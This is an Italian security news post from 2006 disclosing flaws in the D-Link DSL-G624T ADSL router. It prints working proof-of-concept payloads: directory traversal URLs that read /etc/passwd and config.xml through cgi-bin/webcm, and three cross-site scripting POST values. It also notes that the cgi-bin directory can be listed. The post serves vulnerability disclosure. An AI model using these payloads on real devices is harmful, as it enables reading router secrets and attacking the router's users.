Security Wireless

VulnerabilitÓ D-Link DSL-G624T ADSL Router

News / Bug
Inviato da Admin 24 Ott 2006 - 09:00

E' stata riscontrata una vulnerabilitÓ in D-Link DSL-G624T ADSL Router.
Quest'ultima Ŕ stata riscontrata in una mancata validazione di alcuni input da parte del device.

Un attaccante remoto sfruttando quest'errore pu˛ visualizzare file arbitrari presenti sul router o eseguire far eseguire codice scripting ad un utente.

EX:

"
Directory transversal
http://router/cgi-bin/webcm?getpage=/./././././././etc/passwd

http://router/cgi-bin/webcm?getpage=/./././././././etc/config.xml

Cross Site Scripting
Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fstate
Value:: >">alert(20102006)%3B

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: >">alert(20102006)%3B

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: "+onmouseover="alert(20102006)

"
Directory listing
Is possible to list the /cgi-bin directory

Tested on D-Link DSL-G624T
Version: Firmware Version : V3.00B01T01.YA-C.20060616


Questo articolo Ŕ stato inviato da Security Wireless
  http://www.securitywireless.info/

La URL di questo articolo Ŕ:
  http://www.securitywireless.info/modules.php?op=modload&name=News&file=article&sid=14944